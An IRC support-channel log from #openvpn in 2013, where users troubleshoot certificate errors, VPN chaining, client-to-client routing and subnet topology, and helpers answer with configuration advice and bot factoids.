18:30 < crass> just for testing
18:30 < crass> or could it be that a password is required? (ie the self-signed error is a red-herring)
18:30 <+pekster> Nope; if you want that, you should either disable crypto complete (via `--alg none`) or use symmetric keys
18:30 <+pekster> No, that is a _fatal_ problem if the cert cannot be verified
18:31 <+pekster> !both
18:31 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
18:31 <+pekster> Go whine to your provier because unless you can provide useful info like the issuer fingerprint on the server cert and compare it to the CA you have, this is all speculation
18:32 < crass> thanks, just trying to figure out what my options are for debugging on my end
18:33 <+pekster> Not a whole lot really. Maybe try dumping the raw cert presented off the wire via --tls-verify and --tls-export-cert, but I'm not that interested in fixing Yet Another broken provider
18:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:38 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:41 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:04 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 272 seconds]
19:04 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
19:05 -!- speed_racer84 [~speed_rac@172.56.8.112] has joined #openvpn
19:12 -!- raidz is now known as raidz_away
19:16 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 240 seconds]
19:16 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
19:16 -!- crass [~crass@99-88-246-175.lightspeed.austtx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
19:43 -!- speed_racer84 [~speed_rac@172.56.8.112] has quit [Read error: Connection reset by peer]
19:43 -!- speed_racer84 [~speed_rac@172.56.8.112] has joined #openvpn
19:49 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
19:56 < crass> I'm trying to implement vpnchaining without affecting any of the local routing, so I'm connecting to the first vpn with --route-nopull, which works for the first vpn
19:56 < crass> with the second vpn, I try to connect with --local <local ip of tun from 1st vpn>
20:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:12 < crass> hmm, but it the connection just times out
20:12 < crass> could it be a problem with the subnets overlapping?
20:13 < crass> actually it apppears as though no packets are being sent over tun0
20:21 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 264 seconds]
20:27 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:27 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:28 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:28 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:30 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:30 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:30 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:30 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:32 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:32 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:32 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
20:33 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:33 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:34 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:34 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Max SendQ exceeded]
20:51 -!- speed_racer84 [~speed_rac@172.56.8.112] has quit [Ping timeout: 240 seconds]
20:51 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
20:51 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
20:55 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 272 seconds]
21:01 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
21:01 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
21:08 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
21:08 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
21:12 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
21:13 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
21:15 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Remote host closed the connection]
21:15 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
21:17 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 240 seconds]
21:18 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
21:27 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 245 seconds]
21:29 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
21:57 -!- pkh [~pkh@192.73.237.189] has quit [Ping timeout: 252 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:08 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has quit [Ping timeout: 245 seconds]
22:15 -!- pkh [~pkh@192.73.237.189] has joined #openvpn
22:21 -!- pkh [~pkh@192.73.237.189] has quit [Ping timeout: 246 seconds]
22:25 -!- rogue780 [~rogue780@pool-108-15-88-44.bltmmd.fios.verizon.net] has joined #openvpn
22:27 < rogue780> Hi. I just set up an openvpn server on an EC2 instance. I have two computers connected to it. They can ping 10.8.0.1 (the openvpn server) just fine, but they cannot ping each other. One client is osx the other is ubuntu and they both have the same issue. I ran tcpdump on the server and when I pinged the server's 10.8.0.1 ip address, I saw the packets, but when I tried to ping client1 from client2 and vise versa tcpdump on th
22:27 < rogue780> e server didn't register anything.
22:27 < rogue780> what do I need to do so the clients can ping one another?
22:34 < rogue780> never mind. I found it and enabled client-to-client
22:34 -!- rogue780 [~rogue780@pool-108-15-88-44.bltmmd.fios.verizon.net] has left #openvpn ["Leaving"]
22:38 -!- pkh [~pkh@172.245.28.244] has joined #openvpn
22:43 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
22:44 -!- pkh [~pkh@172.245.28.244] has quit [Ping timeout: 272 seconds]
22:45 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 248 seconds]
22:45 -!- michaelhart_ is now known as michaelhart
22:47 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
23:00 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
23:21 < roue_> hola
23:23 < roue_> I have the following network at home.   [Internet]--[linux box as router running openvpn]--[wifi access point] -})  wireless  ({- [raspberry pi]--ethernet--[squeezebox music player] .
23:24 < roue_> I'd like to set up the pi to connect to the openvpn running on the router, and then have the traffic for the squeezebox route through it.
23:24 < roue_> I looked at the bridging docs, but I'm not sure if how that's supposed to be set up or if I should just add some routing tables to the pi or something else.
23:38 <+pekster> roue_: Do you need broadcast or multicast traffic or other non-IP protocols that rely on Ethernet directly? If not, you don't need a bridge
23:41 < roue_> The only think that might be useful would be for the squeezebox to get an IP via DHCP. I could run NAT on the pi and a DHCP server there, but maybe there's a better way.
--- Day changed Sat Oct 12 2013
00:31 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:32 -!- pkh [~pkh@1.135.41.53] has joined #openvpn
00:41 -!- jeev [~j@unaffiliated/jeev] has joined #openvpn
01:01 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
01:02 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
01:25 -!- pkh [~pkh@1.135.41.53] has quit [Ping timeout: 246 seconds]
01:32 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
01:32 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:18 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
02:26 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
02:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:29 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:46 -!- kubbing_ [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:47 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:01 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
03:02 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
03:43 -!- SeventhSin [~SeventhSi@37.235.58.115] has joined #openvpn
03:44 < SeventhSin> Is it possible to define per client certificate expiration in OpenVpn community edition ?
03:50 -!- tyteen4a03 [tyteen4a03@par01.ipv6.gw-out.freebnc.net] has quit [Remote host closed the connection]
03:52 -!- pfui [~hkotri@198.211.99.93] has joined #openvpn
03:52 < pfui> I added client-to-client in my server.conf but clients still can't seem to connect to each other, what gives?
04:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:05 -!- mattock_afk is now known as mattock
04:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:11 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 252 seconds]
04:17 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
04:19 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
04:21 -!- BadAtom [~epigramma@supporter/active/BadAtom] has joined #openvpn
04:28 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Connection reset by peer]
04:30 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
04:43 -!- tyteen4a03 [tyteen4a03@gateway/shell/freebnc/x-eypjjzlajphmnlpq] has joined #openvpn
04:53 <@krzee> pfui, either they dont have a route to eachother or firewalls arent allowing
04:54 -!- fluter [~fluter@fedora/fluter] has quit [Read error: Connection reset by peer]
04:59 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
05:01 < crass> is there a way to have openvpn in client mode bind to a particular interface?
05:04 <@krzee> what os
05:06 < crass> linux
05:06 < crass> actually, I think --local <ip of iface> seems to do what I want
05:08 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
05:08 <@krzee> yep, but you may also need policy routing
05:08 <@krzee> if so, ip rule
05:09 < crass> yeah, been messing around with that, almost got it working
05:12 < crass> is there a best practice for sharing state between the route-up and down scripts?
05:13 < crass> eg. I want to know which dynamically allocated ip rule I should delete
05:13 < crass> maybe the openvpn pid would work for that
05:13 <@krzee> why would you need a dynamic ip rule
05:14 -!- SeventhSin [~SeventhSi@37.235.58.115] has quit [Ping timeout: 265 seconds]
05:14 -!- uehuehue [~NA@unaffiliated/uehuehue] has joined #openvpn
05:14 < uehuehue> How does one set a specific dns server?
05:15 < crass> I'm trying to implement vpn chaining and thinking about allowing it to be of arbitrary depth
05:15 <@krzee> !pushdns
05:15 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
05:15 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
05:16 <@krzee> crass, to vpnchain you need to build vpns from each link to the next
05:16 <@krzee> !google vpnchains
05:16 <@vpnHelper> OpenVPN/VpnChains - Secure Computing Wiki: <https://www.secure-computing.net/wiki/index.php/OpenVPN/VpnChains>; How to Chain VPNs for Complete Anonymity « Null Byte: <http://null-byte.wonderhowto.com/how-to/chain-vpns-for-complete-anonymity-0131368/>; Is this VPN chaining or VPN nesting? Is it better than TOR ...: <http://www.wilderssecurity.com/showthread.php?t=275888>
05:17 < crass> right, which means the nested one needs to know about the upper one's table
05:17 <@krzee> nope
05:17 <@krzee> you just need to understand routing
05:17 <@krzee> !route
05:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
05:17 <@vpnHelper> the server or client
05:17 <@krzee> once you understand !route really really good, making a vpnchain will not be too hard
05:18 < crass> yeah, I've pretty much got it, just need to generalize
05:18 <@krzee> i wrote the first hit on google vpnchains btw
05:18 <@krzee> and the link in !route
05:18 < crass> oh? I thought Id read that already, lemme see
05:19 < crass> oh, yeah, it wasn't much on details
05:19 <@krzee> right
05:19 <@krzee> cause i dont wanna walk people through such an advanced networking topic
05:20 <@krzee> all info you need is linked from there
05:20 <@krzee> "Almost everything you need for the HOW is in my writeup OpenVPN/Routing "
05:20 < crass> yeah, what I'm thinking of doing it putting together something more concrete with some scripts to make it fairly easy
05:20 <@krzee> it also gives you an idea for how to make the topology
05:20 < crass> yeah, saw that too, but didn't read the whole thing (kinda long :P)
05:20 <@krzee> server - client - server - client
05:21 <@krzee> with middle clients running 2 openvpn client processes, 1 for each server
05:21 <@krzee> yes its long, there is a lot to understand if you wanna correctly setup routing, especially for your goal
05:21 < crass> hmm, so that first client acts as a bridge essentially?
05:22 <@krzee> yes, all do
05:23 < crass> ok, right, but there's more work to be done on that client (setup-wise), I assume because the servers are all setup by the daemon
05:23 < crass> or not?
05:23 < crass> I udnerstand the concepts fairly well, but haven't really gotten my hands dirty with iproute2 much, been more on the iptables side in the past
05:26 < crass> also, I think that null-byte link for vpnchains is incorrect when it says "However, to chain VPNs, the second VPN would need to know how the first VPN's traffic was encrypted. This flaw makes it impossible to chain them in this method, unless you own both VPNs (not very likely)."
05:31 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:33 <@krzee> i didnt read the null-byte thing
05:33 <@krzee> and in my writeup it also assumes you own every server
05:33 <@krzee> to me that is a given, to you it is not very likely :D
05:33 <@krzee> this entire channel assumes you own both sides of the connections!
05:40 -!- mattock is now known as mattock_afk
05:40 -!- uehuehue [~NA@unaffiliated/uehuehue] has quit [Quit: Leaving]
05:41 < crass> well, its easier if you own your own server, but I don't see why it necessary
05:42 < crass> as long as your able to connect without chaining to each node and they can all reach eachother, then they should be able to be chained
05:52 <@krzee> ya it should be able to
05:53 <@krzee> i never played with that
05:53 <@krzee> would just need a route to go to server2 over server1
05:53 <@krzee> and server3 over server2
06:04 -!- Devastator [~devas@unaffiliated/devastator] has quit []
06:14 -!- pfui [~hkotri@198.211.99.93] has quit [Ping timeout: 272 seconds]
06:16 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Quit: Leaving]
06:16 < crass> what's with ovpn and script permissions, I'm having trouble figuring out what it wants
06:17 < crass> I had a script in /tmp and gaive it like --route-up /tmp/script.sh and it was happy, but now as /run/dir/script.sh it complains about permission denied
06:18 < crass> is there some internal checks as far as where "good" places to put scripts are?
06:19 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 252 seconds]
06:21 < crass> weird, somehow its my system
06:23 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
06:48 < crass> it would be nice if openvpn's management interface provided the net iface name, and has a "shutdown" command
06:54 -!- pfui [~hkotri@197.35.1.233] has joined #openvpn
06:56 < pfui> krzee: sorry, got disconnected. how do I test if two clients have a route to one another?
06:56 < pfui> I know it's not a firewall problem
06:57 < pfui> my original question: "I added client-to-client in my server.conf but clients still can't seem to connect to each other, what gives?"
06:58 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Ping timeout: 245 seconds]
07:11 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
07:12 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
07:17 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 264 seconds]
07:21 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 252 seconds]
07:21 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
07:50 -!- mndo [~mndo@bl17-75-67.dsl.telepac.pt] has joined #openvpn
07:54 -!- mattock_afk is now known as mattock
07:58 -!- master_of_master [~master_of@p4FF24533.dip0.t-ipconnect.de] has joined #openvpn
08:01 -!- master_o1_master [~master_of@p4FF24F6E.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
08:03 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
08:03 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
08:16 -!- Denial [Denial@90.216.209.93] has joined #openvpn
08:19 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:25 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
08:43 -!- mndo [~mndo@bl17-75-67.dsl.telepac.pt] has quit [Remote host closed the connection]
08:55 -!- mattock is now known as mattock_afk
09:03 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
09:07 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
09:11 -!- pfui [~hkotri@197.35.1.233] has quit [Ping timeout: 240 seconds]
09:13 -!- Denial [Denial@90.216.209.93] has quit []
09:22 < mapps> hey folks
09:22 < mapps> just a quick question..anyone use the openVPN ios app? I get 'pause (network unavaliavle) after a while..but the servers still up as is my 3g connection
09:22 < mapps> and I can imediatrely reconnect
09:50 -!- Eduard_Munteanu [~EduardMun@188.25.6.108] has joined #openvpn
09:53 < Eduard_Munteanu> Hi. Can openvpn be used by regular applications ran by regular users to tunnel a protocol to an OpenVPN server?
09:53 < Eduard_Munteanu> Something like ssh, except not as bad. :)
09:54 < mapps> im not sure i understand ..you mean like say ftp?
09:54 < Eduard_Munteanu> mapps: no, I just want to wrap a regular connection in openvpn, like ssh tunnelling.
09:55 < mapps> surely if you use openvpn everythings going through the tunnel if you set it that way?
09:56 < Eduard_Munteanu> mapps: well, yeah, I wanted to avoid configuring a full client.
09:56 < mapps> ah
09:56 < mapps> not sure how u mean then really
09:59 < Eduard_Munteanu> mapps: say I have a non-root application that wants to join an OpenVPN network. It connects to the server and somehow asks it to forward packets on its behalf. It sort of requires a user network stack or some sort of API at least.
10:00 < Eduard_Munteanu> mapps: e.g. with ssh you can connect to a server and ask it to forward packets to other machines for you.
10:00 < Eduard_Munteanu> mapps: just a straight ssh tunnel, in this case
10:00 < mapps> not sure how youd do it without having it as a full client tho
10:00 < mapps> hm
10:04 < Eduard_Munteanu> I think I should look at OpenVPN's protocol, it's probably not an ordinary stream like SSL or ssh.
10:06 < mapps> how would u do it tho when clients need to have a client profile
10:07 < Eduard_Munteanu> mapps: that's not the issue... I rather want to avoid having to run a root daemon and a system-wide network interface.
10:07 < mapps> oh
10:08 < Eduard_Munteanu> Hence I wanted it more connection-oriented, to say so.
10:14 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
10:37 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:37 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
10:42 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
10:47 -!- tyteen4a03 is now known as tyteen4a04
10:50 -!- Denial [Denial@90.216.209.93] has joined #openvpn
10:59 -!- tyteen4a04 [tyteen4a03@gateway/shell/freebnc/x-eypjjzlajphmnlpq] has quit [Changing host]
10:59 -!- tyteen4a04 [tyteen4a03@unaffiliated/tyteen4a03] has joined #openvpn
10:59 -!- tyteen4a04 [tyteen4a03@unaffiliated/tyteen4a03] has quit [Changing host]
10:59 -!- tyteen4a04 [tyteen4a03@gateway/shell/freebnc/x-eypjjzlajphmnlpq] has joined #openvpn
11:01 -!- tyteen4a04 [tyteen4a03@gateway/shell/freebnc/x-eypjjzlajphmnlpq] has quit [Quit: Hurr Durr!]
11:08 -!- Denial [Denial@90.216.209.93] has quit []
11:15 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
11:28 -!- Denial [Denial@90.216.209.93] has joined #openvpn
11:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:35 < TheSov_> having a small issue, I recently connected our amazon cloud to ournetwork via Openvpn, when i try to RDP to a server in the cloud, it wont connect unless i ping it first. anyone know what the issue is?
11:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:38 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Ping timeout: 240 seconds]
11:39 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:42 -!- heraclitus [~halcyon@85.17.31.98] has joined #openvpn
11:42 -!- heraclitus [~halcyon@85.17.31.98] has quit [Changing host]
11:42 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
11:53 < TheSov_> having a small issue, I recently connected our amazon cloud to ournetwork via Openvpn, when i try to RDP to a server in the cloud, it wont connect unless i ping it first. anyone know what the issue is?
12:11 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:22 -!- LordThumper [~LordThump@78.133.21.200] has joined #openvpn
12:23 < LordThumper> Hi, can Windows 7 connect to an OpenVPN with the OS client or do I need to install the OpenVPN client?
12:23 < LordThumper> OpenVPN server*
12:27 < atmosx> LordThumper: you need the openvpn client.
12:27 < LordThumper> ok, thanks
12:31 < TheSov_> having a small issue, I recently connected our amazon cloud to ournetwork via Openvpn, when i try to RDP to a server in the cloud, it wont connect unless i ping it first. anyone know what the issue is?
12:32 < TheSov_> i have realized that it has something to do with the arp timeout of 100 seconds
12:32 < TheSov_> almost as if a tcp connect wont set an arp request
12:33 < TheSov_>  i have the server here and the client remote. from the client side it can get to any server in 1 shot
12:34 < TheSov_> from here to the client i have to ping first
12:47 -!- TheSov_ [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has quit [Ping timeout: 245 seconds]
12:56 -!- Denial [Denial@90.216.209.93] has quit []
12:58 -!- kubbing [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has joined #openvpn
13:01 -!- TheSov_ [~thesov@50-76-75-45-static.hfc.comcastbusiness.net] has joined #openvpn
13:07 -!- TheSov_ is now known as thesov
13:08 < thesov> does anyone know what would cause routing to not go through until pinged?
13:10 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
13:13 -!- LordThumper [~LordThump@78.133.21.200] has quit [Ping timeout: 272 seconds]
13:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
13:19 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:46 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
13:48 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
13:52 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 252 seconds]
13:56 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Quit: Konversation terminated!]
13:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
14:00 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
14:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
14:00 -!- mode/#openvpn [+o dazo_afk] by ChanServ
14:01 -!- dazo_afk is now known as dazo
14:02 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:03 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
15:05 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:06 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:08 -!- kubbing [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
15:29 -!- pfui [~hkotri@197.35.1.233] has joined #openvpn
15:29 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
15:30 < pfui> trying to get remote clients to talk to one another, adding client-to-client to my server's conf file didn't help. what could be the problem?
15:31 <+pekster> pfui: You need a few things: 1) either use --client-to-client on the server _or_ enable IP forwarding and allow it in the firewall config, 2) the client's need a route to the rest of the network (when using net30 mode -- this is done automatically in the subnet topology: see !topology for info) and 3) client firewalls need to allow the traffic
15:32 < pfui> pekster: I get 1 & 3, but can you elaborate more on #2?
15:33 <+pekster> What topology are you using? Or better yet, can you pastebin the server config?
15:33 <+pekster> !configs
15:33 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:34 < pfui> pekster: http://pastebin.com/PPv1RLvW
15:35 <+pekster> You're not pushing a route for 10.8.0/24 to the VPN clients
15:35 <+pekster> Either do that, or better yet, just use the subnet topology
15:35 <+pekster> !topology
15:35 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
15:36 <+pekster> The /30 behaviour is for support with really old <=2.0.9 Windows clients
15:36 < pfui> pekster: so I just add "topology subnet" and that's it?
15:37 <+pekster> That and you need to push it to your clients too (or have them manually specify it)
15:38 <+pekster> Effectively it makes the entire /24 "on-link" by treating it as an IP+netmask like a traditional Ethernet network (even though it's still a tun device)
15:42 < pfui> nope, lost connectivity :-\
15:43 < pfui> pekster: it should be "push route 10.8.0.0 255.255.255.0", no?
15:43 <+pekster> In net30, but why use crap that's unnecessary as of version 2.1?
15:43 < pfui> I don't even know the first thing about subnets, so excuse my ignorance...
15:44 < pfui> pekster: you said I had to push it to my clients
15:44 <+pekster> topology, yes
15:44 <+pekster> You don't push that network in subnet since it's _already_ on-link
15:44 < pfui> and how do I push that?
15:44 <+pekster> Same way you push any option: `--push "topology subnet"`
15:44 <+pekster> Also, in subnet remove the push for 10.8.0.1/32 as you don't need it either
15:48 < pfui> still no connectivity
15:48 < pfui> it's just two lines
15:48 < pfui> topology subnet
15:48 < pfui> push "topology subnet"
15:48 < pfui> no?
15:49 <+pekster> That and the removal of the push on line 48 I noted
15:50 < pfui> did that, traffic gets routed outside the vpn
15:50 <+pekster> Oh, get rid of line 65 too (that's provided by the server when the /24 comes up)
15:50 <+pekster> See the expansion of the --server helper-directive to learn more about the differences in topology
15:51 <+pekster> Using either tap or tun with subnet topology means the /24 is on-link, so you don't assign or push that network; it "just exists"
15:54 < pfui> here's my current config: http://pastebin.com/WRKjCQN9
15:54 < pfui> traffic doesn't seem to go through the vpn
15:54 <+pekster> What do you mean "go through" ?
15:55 < pfui> isn't routed through
15:55 <+pekster> What?
15:55 <+pekster> !goal
15:55 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:55 <+pekster> All I'm aware you want is 2 clients (say C1 and C2) to talk while connected to the VPN
15:55 < pfui> I wanted to access the internet over my vpn
15:55 <+pekster> Then you should have said so earlier:
15:55 <+pekster> !redirect
15:55 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:55 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:56 < pfui> !def1
